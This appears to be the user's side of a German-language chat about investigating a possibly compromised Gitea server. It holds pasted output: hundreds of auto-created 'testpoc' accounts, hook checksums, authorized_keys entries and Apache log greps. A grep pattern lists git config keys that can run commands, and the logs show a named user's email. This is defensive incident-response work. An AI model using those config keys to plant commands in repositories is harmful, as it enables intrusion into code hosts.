admindc admindc 4.0K Sep 13 06:09 testpoc55395 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 10:09 testpoc43177 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 14:08 testpoc20726 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 18:08 testpoc42534 drwxr-xr-x 3 admindc admindc 4.0K Sep 13 22:07 testpoc38380 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 02:06 testpoc69572 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 06:05 testpoc80463 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 10:04 testpoc14211 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 14:03 testpoc86381 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 18:00 testpoc17722 drwxr-xr-x 3 admindc admindc 4.0K Sep 14 21:56 testpoc96516 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 01:24 testpoc68930 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 01:50 testpoc75427 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 05:46 testpoc54842 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 09:45 testpoc97134 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 13:42 testpoc40496 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 17:41 testpoc12313 drwxr-xr-x 3 admindc admindc 4.0K Sep 15 21:39 testpoc58970 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 01:37 testpoc55339 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 05:36 testpoc63044 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 09:08 testpoc27314 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 11:41 testpoc52384 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 13:06 testpoc35017 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 17:07 testpoc40339 drwxr-xr-x 3 admindc admindc 4.0K Sep 16 21:05 testpoc39893 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 01:03 testpoc82705 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 05:00 testpoc50766 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 08:57 testpoc32746 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 12:53 testpoc87888 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 16:52 testpoc84074 drwxr-xr-x 3 admindc admindc 4.0K Sep 17 20:50 testpoc57938 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 00:47 testpoc51346 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 04:44 testpoc39794 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 08:40 testpoc84743 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 12:36 testpoc49129 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 16:34 testpoc54626 drwxr-xr-x 3 admindc admindc 4.0K Sep 18 20:30 testpoc40862 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 00:26 testpoc16652 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 04:23 testpoc13731 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 08:19 testpoc94819 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 12:15 testpoc84836 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 16:12 testpoc91160 drwxr-xr-x 3 admindc admindc 4.0K Sep 19 20:09 testpoc69618 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 00:04 testpoc88367 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 04:00 testpoc36234 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 07:56 testpoc85733 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 11:53 testpoc55201 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 15:49 testpoc52938 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 19:46 testpoc20554 drwxr-xr-x 3 admindc admindc 4.0K Sep 20 23:42 testpoc85711 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 03:38 testpoc42804 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 07:33 testpoc69623 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 11:29 testpoc79949 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 15:25 testpoc98707 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 19:22 testpoc15104 drwxr-xr-x 3 admindc admindc 4.0K Sep 21 23:19 testpoc32066 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 03:16 testpoc49698 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 07:13 testpoc63211 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 11:10 testpoc63173 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 15:07 testpoc55186 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 19:05 testpoc42437 drwxr-xr-x 3 admindc admindc 4.0K Sep 22 23:02 testpoc82932 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 02:59 testpoc57923 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 06:56 testpoc13326 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 09:40 testpoc79896 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 10:29 testpoc38905 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 14:26 testpoc69930 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 18:22 testpoc95946 drwxr-xr-x 3 admindc admindc 4.0K Sep 23 22:19 testpoc93288 drwxr-xr-x 3 admindc admindc 4.0K Sep 24 02:15 testpoc90831 drwxr-xr-x 3 admindc admindc 4.0K Sep 24 06:10 testpoc51788 drwxr-xr-x 3 admindc admindc 4.0K Sep 24 10:05 testpoc63022 drwxr-xr-x 268 admindc admindc 12K Sep 24 10:05 . drwxr-xr-x 1622 admindc admindc 64K Sep 24 12:02 giteaa1337 drwxr-xr-x 1630 admindc admindc 68K Sep 24 12:02 gitea1337 ´´´ Sind diese verdächtig? --- Hier sind die Ergebnisse von Schritt 3, 4 und 6 sowie der Blick in ein testpoc Repo: ``` root@sv003 ~/docker/git # # Schritt 3 root@sv003 ~/docker/git # docker exec -u git gitea gitea admin user list ID Username Email IsActive IsAdmin 2FA 1 admin nix@no.de true true false 2 tlg tlg@nix.de true false false 3 llm llm@nix.de true false false 4 wbg wbg@nix.de true false false 5 n8n n8n@nix.de true false false 6 krtr krtr@nix.de true false false 7 try try@nix.de true false false 8 trf trf@nix.de true false false 9 ncd ncd@nix.de true false false 10 rdms Thomas.Langer@destengs.com true false false 11 pln No@nix.de true false false 12 mkt mkt@nix.no true false false 13 lwc lwc@nix.de true false false 14 wlfb wlfb@nix.no true false false 15 testpoc60874 testpoc91319@test.local true false false 16 testpoc29453 testpoc51901@test.local true false false 17 testpoc43268 testpoc62945@test.local true false false 18 testpoc12153 testpoc70731@test.local true false false 19 testpoc24197 testpoc51518@test.local true false false 20 testpoc85539 testpoc18172@test.local true false false 21 testpoc98694 testpoc85362@test.local true false false 22 testpoc78015 testpoc12874@test.local true false false 23 testpoc25390 testpoc11149@test.local true false false 24 testpoc92837 testpoc74432@test.local true false false 25 testpoc97168 testpoc16626@test.local true false false 26 testpoc82909 testpoc55517@test.local true false false 27 jujpqlugml qinvmrmq@immenseignite.info true false false 28 dqyywxkedt kqjsnrgy@immenseignite.info true false false 29 testpoc81407 testpoc37764@test.local true false false 30 testpoc84892 testpoc10432@test.local true false false 31 testpoc95017 testpoc98343@test.local true false false 32 testpoc87960 testpoc73548@test.local true false false 33 testpoc60504 testpoc84459@test.local true false false 34 testpoc25643 testpoc94109@test.local true false false 35 testpoc51520 testpoc77295@test.local true false false 36 testpoc56033 testpoc83028@test.local true false false 37 testpoc38666 testpoc54171@test.local true false false 38 testpoc93555 testpoc31520@test.local true false false 39 testpoc46919 testpoc95158@test.local true false false 40 testpoc30819 testpoc26694@test.local true false false 41 testpoc84143 testpoc66048@test.local true false false 42 testpoc37242 testpoc43037@test.local true false false 43 testpoc56949 testpoc79697@test.local true false false 44 testpoc69547 testpoc46357@test.local true false false 45 testpoc19409 testpoc75199@test.local true false false 46 testpoc45556 testpoc42945@test.local true false false 47 testpoc72460 testpoc62590@test.local true false false 48 testpoc24413 testpoc68769@test.local true false false 49 testpoc79954 testpoc17594@test.local true false false 50 testpoc73498 testpoc93018@test.local true false false 51 testpoc31492 testpoc97481@test.local true false false 52 testpoc84236 testpoc72245@test.local true false false 53 testpoc66853 testpoc11866@test.local true false false 54 testpoc96299 testpoc33830@test.local true false false 55 testpoc37593 testpoc50816@test.local true false false 56 testpoc36987 testpoc33219@test.local true false false 57 testpoc31664 testpoc71498@test.local true false false 58 testpoc40668 testpoc10962@test.local true false false 59 testpoc53151 testpoc24360@test.local true false false 60 testpoc69854 testpoc19442@test.local true false false 61 testpoc80023 testpoc30980@test.local true false false 62 gitea1337 gitea1337@test.local true false false 63 giteaa1337 giteaa1337@test.local true false false 64 testpoc77229 testpoc77108@test.local true false false 65 testpoc71873 testpoc31506@test.local true false false 66 testpoc17745 testpoc47546@test.local true false false 67 testpoc53823 testpoc51519@test.local true false false 68 testpoc66756 testpoc76453@test.local true false false 69 testpoc22616 testpoc66400@test.local true false false 70 testpoc27265 testpoc32399@test.local true false false 71 testpoc34412 testpoc66592@test.local true false false 72 testpoc85061 testpoc56610@test.local true false false 73 testpoc36190 testpoc69081@test.local true false false 74 testpoc73222 testpoc37006@test.local true false false 75 testpoc54227 testpoc73883@test.local true false false 76 testpoc46556 testpoc37889@test.local true false false 77 testpoc62541 testpoc58718@test.local true false false 78 testpoc61632 testpoc57477@test.local true false false 79 testpoc90545 testpoc58809@test.local true false false 80 testpoc61911 testpoc15016@test.local true false false 81 testpoc95111 testpoc44233@test.local true false false 82 testpoc78438 testpoc60733@test.local true false false 83 testpoc81170 testpoc48652@test.local true false false 84 testpoc86973 testpoc63967@test.local true false false 85 testpoc18093 testpoc68335@test.local true false false 86 testpoc34060 testpoc36523@test.local true false false 87 testpoc19522 testpoc86071@test.local true false false 88 testpoc39149 testpoc72559@test.local true false false 89 testpoc22320 testpoc23247@test.local true false false 90 testpoc34738 testpoc47744@test.local true false false 91 testpoc48807 testpoc90459@test.local true false false 92 testpoc68152 testpoc33960@test.local true false false 93 testpoc62114 testpoc94172@test.local true false false 94 testpoc79936 testpoc94596@test.local true false false 95 testpoc13243 testpoc91895@test.local true false false 96 testpoc69682 testpoc25547@test.local true false false 97 testpoc72852 testpoc79040@test.local true false false 98 testpoc15007 testpoc15130@test.local true false false 99 testpoc86124 testpoc52942@test.local true false false 100 testpoc11637 testpoc52896@test.local true false false 101 testpoc87910 testpoc59779@test.local true false false 102 testpoc82836 testpoc63572@test.local true false false 103 testpoc41185 testpoc67529@test.local true false false 104 testpoc98983 testpoc65721@test.local true false false 105 testpoc19606 testpoc74870@test.local true false false 106 testpoc23912 testpoc97447@test.local true false false 107 testpoc62773 testpoc20131@test.local true false false 108 testpoc78861 testpoc94953@test.local true false false 109 testpoc95173 testpoc53547@test.local true false false 110 testpoc40264 testpoc14913@test.local true false false 111 testpoc26934 testpoc34368@test.local true false false 112 testpoc73319 testpoc38817@test.local true false false 113 testpoc50454 testpoc52277@test.local true false false 114 testpoc19498 testpoc63822@test.local true false false 115 testpoc69640 testpoc80189@test.local true false false 116 testpoc97230 testpoc84402@test.local true false false 117 testpoc52394 testpoc21513@test.local true false false 118 testpoc40721 testpoc95208@test.local true false false 119 testpoc51551 testpoc84987@test.local true false false 120 testpoc27510 testpoc46568@test.local true false false 121 testpoc61382 testpoc76075@test.local true false false 122 testpoc18831 testpoc74098@test.local true false false 123 testpoc99091 testpoc12351@test.local true false false 124 testpoc86985 testpoc94876@test.local true false false 125 testpoc67871 testpoc81504@test.local true false false 126 testpoc76030 testpoc42139@test.local true false false 127 testpoc87311 testpoc24051@test.local true false false 128 testpoc50982 testpoc56698@test.local true false false 129 testpoc62120 testpoc19823@test.local true false false 130 testpoc22318 testpoc12134@test.local true false false 131 testpoc69014 testpoc36626@test.local true false false 132 testpoc37385 testpoc21630@test.local true false false 133 testpoc98701 testpoc45384@test.local true false false 134 testpoc98443 testpoc43338@test.local true false false 135 oehhhkluuj xeffdvvw@immenseignite.info true false false 136 testpoc61465 testpoc56776@test.local true false false 137 testpoc80725 testpoc28754@test.local true false false 138 testpoc89134 testpoc44254@test.local true false false 139 testpoc76121 testpoc98327@test.local true false false 140 testpoc75962 testpoc12683@test.local true false false 141 testpoc99832 testpoc35404@test.local true false false 142 testpoc55555 testpoc36879@test.local true false false 143 testpoc20107 testpoc33265@test.local true false false 144 testpoc83027 testpoc15826@test.local true false false 145 testpoc50212 testpoc46619@test.local true false false 146 testpoc33280 testpoc19156@test.local true false false 147 testpoc67515 testpoc68952@test.local true false false 148 testpoc59645 testpoc49581@test.local true false false 149 testpoc84414 testpoc68320@test.local true false false 150 testpoc22008 testpoc32423@test.local true false false 151 testpoc54612 testpoc53858@test.local true false false 152 testpoc70617 testpoc93985@test.local true false false 153 testpoc89149 testpoc24416@test.local true false false 154 testpoc12795 testpoc16841@test.local true false false 155 testpoc51398 testpoc19394@test.local true false false 156 testpoc87154 testpoc61850@test.local true false false 157 testpoc96091 testpoc36560@test.local true false false 158 testpoc94765 testpoc31750@test.local true false false 159 testpoc26027 testpoc82451@test.local true false false 160 testpoc51858 testpoc78710@test.local true false false 161 testpoc22861 testpoc38389@test.local true false false 162 testpoc90891 testpoc12868@test.local true false false 163 testpoc33139 testpoc11265@test.local true false false 164 testpoc13803 testpoc17569@test.local true false false 165 testpoc84488 testpoc29054@test.local true false false 166 testpoc11688 testpoc51653@test.local true false false 167 testpoc53646 testpoc24333@test.local true false false 168 testpoc68917 testpoc87626@test.local true false false 169 testpoc83437 testpoc52329@test.local true false false 170 testpoc54590 testpoc78511@test.local true false false 171 testpoc88044 testpoc89544@test.local true false false 172 testpoc17939 testpoc45839@test.local true false false 173 testpoc51371 testpoc55269@test.local true false false 174 testpoc40770 testpoc47947@test.local true false false 175 testpoc28859 testpoc13771@test.local true false false 176 testpoc22366 testpoc93610@test.local true false false 177 testpoc76660 testpoc86849@test.local true false false 178 testpoc10570 testpoc44477@test.local true false false 179 testpoc55506 testpoc69869@test.local true false false 180 testpoc87776 testpoc48515@test.local true false false 181 testpoc10705 testpoc33463@test.local true false false 182 testpoc26965 testpoc35616@test.local true false false 183 testpoc53126 testpoc82130@test.local true false false 184 testpoc33503 testpoc66802@test.local true false false 185 testpoc39441 testpoc45694@test.local true false false 186 testpoc56058 testpoc29722@test.local true false false 187 testpoc19144 testpoc74209@test.local true false false 188 testpoc39192 testpoc76212@test.local true false false 189 testpoc17058 testpoc93548@test.local true false false 190 testpoc63010 testpoc12628@test.local true false false 191 testpoc26355 testpoc83710@test.local true false false 192 testpoc66868 testpoc57878@test.local true false false 193 testpoc53078 testpoc20581@test.local true false false 194 testpoc63807 testpoc51243@test.local true false false 195 testpoc44807 testpoc98646@test.local true false false 196 testpoc32788 testpoc85407@test.local true false false 197 testpoc55027 testpoc70857@test.local true false false 198 testpoc75302 testpoc30448@test.local true false false 199 testpoc36916 testpoc59742@test.local true false false 200 testpoc55395 testpoc25538@test.local true false false 201 testpoc43177 testpoc20034@test.local true false false 202 testpoc20726 testpoc69851@test.local true false false 203 testpoc42534 testpoc39123@test.local true false false 204 testpoc38380 testpoc44179@test.local true false false 205 testpoc69572 testpoc61835@test.local true false false 206 testpoc80463 testpoc62925@test.local true false false 207 testpoc14211 testpoc69761@test.local true false false 208 testpoc86381 testpoc97251@test.local true false false 209 testpoc17722 testpoc44345@test.local true false false 210 testpoc96516 testpoc39198@test.local true false false 211 testpoc68930 testpoc30706@test.local true false false 212 testpoc75427 testpoc59485@test.local true false false 213 testpoc54842 testpoc81985@test.local true false false 214 testpoc97134 testpoc57952@test.local true false false 215 testpoc40496 testpoc98701@test.local true false false 216 testpoc12313 testpoc26241@test.local true false false 217 testpoc58970 testpoc27679@test.local true false false 218 testpoc55339 testpoc14738@test.local true false false 219 testpoc63044 testpoc44058@test.local true false false 220 testpoc27314 testpoc93711@test.local true false false 221 testpoc52384 testpoc79256@test.local true false false 222 testpoc35017 testpoc47402@test.local true false false 223 testpoc40339 testpoc29947@test.local true false false 224 testpoc39893 testpoc41939@test.local true false false 225 testpoc82705 testpoc19718@test.local true false false 226 testpoc50766 testpoc95042@test.local true false false 227 testpoc32746 testpoc70520@test.local true false false 228 testpoc87888 testpoc99043@test.local true false false 229 testpoc84074 testpoc51513@test.local true false false 230 testpoc57938 testpoc49775@test.local true false false 231 testpoc51346 testpoc59538@test.local true false false 232 testpoc39794 testpoc91984@test.local true false false 233 testpoc84743 testpoc61888@test.local true false false 234 testpoc49129 testpoc99765@test.local true false false 235 testpoc54626 testpoc41961@test.local true false false 236 testpoc40862 testpoc88415@test.local true false false 237 testpoc16652 testpoc71474@test.local true false false 238 testpoc13731 testpoc40602@test.local true false false 239 testpoc94819 testpoc66785@test.local true false false 240 testpoc84836 testpoc22580@test.local true false false 241 testpoc91160 testpoc11965@test.local true false false 242 testpoc69618 testpoc93819@test.local true false false 243 testpoc88367 testpoc23584@test.local true false false 244 testpoc36234 testpoc14362@test.local true false false 245 testpoc85733 testpoc96722@test.local true false false 246 testpoc55201 testpoc33956@test.local true false false 247 testpoc52938 testpoc64189@test.local true false false 248 testpoc20554 testpoc23459@test.local true false false 249 testpoc85711 testpoc98923@test.local true false false 250 testpoc42804 testpoc99726@test.local true false false 251 testpoc69623 testpoc39804@test.local true false false 252 testpoc79949 testpoc26872@test.local true false false 253 testpoc98707 testpoc69824@test.local true false false 254 testpoc15104 testpoc95108@test.local true false false 255 testpoc32066 testpoc72645@test.local true false false 256 testpoc49698 testpoc62019@test.local true false false 257 testpoc63211 testpoc36522@test.local true false false 258 testpoc63173 testpoc36838@test.local true false false 259 testpoc55186 testpoc47808@test.local true false false 260 testpoc42437 testpoc28482@test.local true false false 261 testpoc82932 testpoc60807@test.local true false false 262 testpoc57923 testpoc28851@test.local true false false 263 testpoc13326 testpoc33674@test.local true false false 264 testpoc79896 testpoc75723@test.local true false false 265 testpoc38905 testpoc25808@test.local true false false 266 testpoc69930 testpoc93166@test.local true false false 267 testpoc95946 testpoc16379@test.local true false false 268 testpoc93288 testpoc70088@test.local true false false 269 testpoc90831 testpoc70624@test.local true false false 270 testpoc51788 testpoc16537@test.local true false false 271 testpoc63022 testpoc51536@test.local true false false root@sv003 ~/docker/git # docker exec -u git gitea gitea admin user list --admin ID Username Email IsActive 1 admin nix@no.de true ``` Die Ergebnisse aus Schritt 4 sind so lang, dass sie den Terminal Screen Buffer überlaufen lassen. Sie sind als `Schritt-4-Output.txt` angehängt. ``` root@sv003 ~/docker/git # # Schritt 6 root@sv003 ~/docker/git # cat /opt/appdata/gitea/git/.ssh/authorized_keys # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIADl9gVyC2c+a7qIZC6gXHgJydF12+9C663YIoT5i8q1 user-3 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINb/2AXFOth3xKRsYuBRtvmh0E2uqwVzc1zHPq8DfKzs user-5 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-3",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICx0bSfpi2SuVIz4O+5LeH1hMhyszsToEB2jdgcg7Dbk user-6 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-4",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMCof8cPzf55cAVSrjiYQnqRI+qFOaDr5jpew+lR8vwh user-9 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-5",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIConRKwtkavZhiK3CeRg7Wg9km9/DwOLskxOAuVmKOqX user-2 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-7",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMn/zN0Mtuzd9vsBlBL8VDJRoCuXVk98XFWFHVToCzId user-10 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-8",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBL9NaidAiMeTCzYwzGzpy9/dgHU7Nvgaa8qFx+RtSPd user-11 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-9",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIISCMKUXLatSVC7MURmS8Ra77C01Ne9JIGgg1wq/AaZW user-8 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-10",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPLyufFGuVLqhHmJQjpDmz3riLLknH9+5FgkeWWPExuO user-4 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-11",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnoAhwz0z5gECYgcysPW011KtEqaKzOt6qOFPJNaCkA user-12 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-12",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILvPcc40YS0a5RdY6OhknE7tXRKUfdb2jut5eeNImsg+ user-13 # gitea public key command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-13",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM7z8bx+VD/lkJBkpRsx0xFPt4sECa5Ce9jd1/Dyl9dO user-14 ``` root@sv003 /opt/appdata/gitea/git/repositories # # Blick in ein testpoc-Repo root@sv003 /opt/appdata/gitea/git/repositories # ls -la testpoc60874/*/hooks total 96 drwxr-xr-x 6 admindc admindc 4096 Aug 5 20:44 . drwxr-xr-x 7 admindc admindc 4096 Aug 5 20:44 .. -rwxr-xr-x 1 admindc admindc 478 Aug 5 20:44 applypatch-msg.sample -rwxr-xr-x 1 admindc admindc 896 Aug 5 20:44 commit-msg.sample -rwxr-xr-x 1 admindc admindc 376 Aug 5 20:44 post-receive drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 post-receive.d -rwxr-xr-x 1 admindc admindc 189 Aug 5 20:44 post-update.sample -rwxr-xr-x 1 admindc admindc 424 Aug 5 20:44 pre-applypatch.sample -rwxr-xr-x 1 admindc admindc 1649 Aug 5 20:44 pre-commit.sample -rwxr-xr-x 1 admindc admindc 416 Aug 5 20:44 pre-merge-commit.sample -rwxr-xr-x 1 admindc admindc 1492 Aug 5 20:44 prepare-commit-msg.sample -rwxr-xr-x 1 admindc admindc 1374 Aug 5 20:44 pre-push.sample -rwxr-xr-x 1 admindc admindc 4898 Aug 5 20:44 pre-rebase.sample -rwxr-xr-x 1 admindc admindc 376 Aug 5 20:44 pre-receive drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 pre-receive.d -rwxr-xr-x 1 admindc admindc 544 Aug 5 20:44 pre-receive.sample -rwxr-xr-x 1 admindc admindc 134 Aug 5 20:44 proc-receive drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 proc-receive.d -rwxr-xr-x 1 admindc admindc 2783 Aug 5 20:44 push-to-checkout.sample -rwxr-xr-x 1 admindc admindc 2308 Aug 5 20:44 sendemail-validate.sample -rwxr-xr-x 1 admindc admindc 356 Aug 5 20:44 update drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 update.d -rwxr-xr-x 1 admindc admindc 3650 Aug 5 20:44 update.sample --- Bitte weniger auf einmal und mehr Erklärungen, du überforderst mich sonst. Hier die Ergebnisse der drei Prüfungen: ``` root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 1 root@sv003 /opt/appdata/gitea/git/repositories # for h in pre-receive update post-receive proc-receive; do echo "== $h"; md5sum /opt/appdata/gitea/git/repositories/*/*.git/hooks/$h | awk '{print $1}' | sort | uniq -c; done == pre-receive 3518 2d67fed6a447d2eb41535dc7fe514c3c == update 3518 f3947df1fd3dbe0f06185367c7997fc5 == post-receive 3518 2d67fed6a447d2eb41535dc7fe514c3c == proc-receive 3518 c65001fd6703334398ad122371538ae7 ``` ``` root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 2: Ergebnis zu lang für Terminal Screen Buffer root@sv003 /opt/appdata/gitea/git/repositories # find /opt/appdata/gitea/git/repositories -path '*/hooks/*.d/*' -type f > Prüfung-2_Output.txt ``` ``` root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 3 root@sv003 /opt/appdata/gitea/git/repositories # grep -rlE 'hooksPath|fsmonitor|sshCommand|core.pager|core.editor' /opt/appdata/gitea/git/repositories/*/*.git/config root@sv003 /opt/appdata/gitea/git/repositories # ``` Für die Proxy Log-Suche brauche ich bitte das Kommando für einen Apache Reverse-Proxy. --- Kein Output: ``` root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '_diffpatch' /var/log/apache2/*access*log* /var/log/httpd/*access*log* 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head root@sv003 /opt/appdata/gitea/git/repositories # ``` --- root@sv003 /opt/appdata/gitea/git/repositories # zgrep -cH 'diffpatch' /var/log/apache2/*access*log* /var/log/httpd/*access*log* 2>/dev/null /var/log/apache2/access.log:0 /var/log/apache2/other_vhosts_access.log:0 /var/log/apache2/other_vhosts_access.log.1:0 /var/log/apache2/other_vhosts_access.log.10.gz:0 /var/log/apache2/other_vhosts_access.log.11.gz:0 /var/log/apache2/other_vhosts_access.log.12.gz:0 /var/log/apache2/other_vhosts_access.log.13.gz:0 /var/log/apache2/other_vhosts_access.log.14.gz:0 /var/log/apache2/other_vhosts_access.log.2.gz:0 /var/log/apache2/other_vhosts_access.log.3.gz:0 /var/log/apache2/other_vhosts_access.log.4.gz:0 /var/log/apache2/other_vhosts_access.log.5.gz:0 /var/log/apache2/other_vhosts_access.log.6.gz:0 /var/log/apache2/other_vhosts_access.log.7.gz:0 /var/log/apache2/other_vhosts_access.log.8.gz:0 /var/log/apache2/other_vhosts_access.log.9.gz:0 /var/log/httpd/*access*log*:0 root@sv003 /opt/appdata/gitea/git/repositories # --- root@sv003 /opt/appdata/gitea/git/repositories # zgrep -cHE 'testpoc|1337|sign_up' /var/log/apache2/other_vhosts_access.log* /var/log/apache2/other_vhosts_access.log:546 /var/log/apache2/other_vhosts_access.log.1:1187 /var/log/apache2/other_vhosts_access.log.10.gz:1236 /var/log/apache2/other_vhosts_access.log.11.gz:1092 /var/log/apache2/other_vhosts_access.log.12.gz:937 /var/log/apache2/other_vhosts_access.log.13.gz:1428 /var/log/apache2/other_vhosts_access.log.14.gz:1231 /var/log/apache2/other_vhosts_access.log.2.gz:1230 /var/log/apache2/other_vhosts_access.log.3.gz:1299 /var/log/apache2/other_vhosts_access.log.4.gz:1206 /var/log/apache2/other_vhosts_access.log.5.gz:1172 /var/log/apache2/other_vhosts_access.log.6.gz:1318 /var/log/apache2/other_vhosts_access.log.7.gz:1274 /var/log/apache2/other_vhosts_access.log.8.gz:1187 /var/log/apache2/other_vhosts_access.log.9.gz:1207 root@sv003 /opt/appdata/gitea/git/repositories # --- root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h 'testpoc' /var/log/apache2/other_vhosts_access.log* | awk '{print $6, $7}' | sed -E 's#testpoc[0-9]+#testpocN#; s#poc-[0-9]+#poc-N#; s#\?.*##' | sort | uniq -c | sort -rn | head -50 root@sv003 /opt/appdata/gitea/git/repositories # --- root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '"POST' /var/log/apache2/other_vhosts_access.log* | awk '{print $6, $7}' | sed -E 's#[0-9]+#N#g; s#\?.*##' | sort | uniq -c | sort -rn | head -30 113136 +N] "POST root@sv003 /opt/appdata/gitea/git/repositories # --- root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '"POST' /var/log/apache2/other_vhosts_access.log* | awk '{print $7, $8}' | sed -E 's#[0-9]+#N#g; s#\?.*##' | sort | uniq -c | sort -rn | head -30 78381 "POST /xmlrpc.php 13767 "POST /wp-login.php 7320 "POST //wp-login.php 2628 "POST / 930 "POST /wp-cron.php 754 "POST //xmlrpc.php 657 "POST /wp-json/batch/vN 480 "POST /wp/ 459 "POST /wordpress/ 432 "POST /index.php 427 "POST /blog/ 320 "POST /wp/index.php 307 "POST /wordpress/index.php 292 "POST /wordpress/wp-json/batch/vN 286 "POST /blog/index.php 280 "POST /blog/wp-json/batch/vN 160 "POST /wp/wp-json/batch/vN/ 160 "POST /wp/wordpress/wp-json/batch/vN 160 "POST /wp/blog/wp-json/batch/vN 159 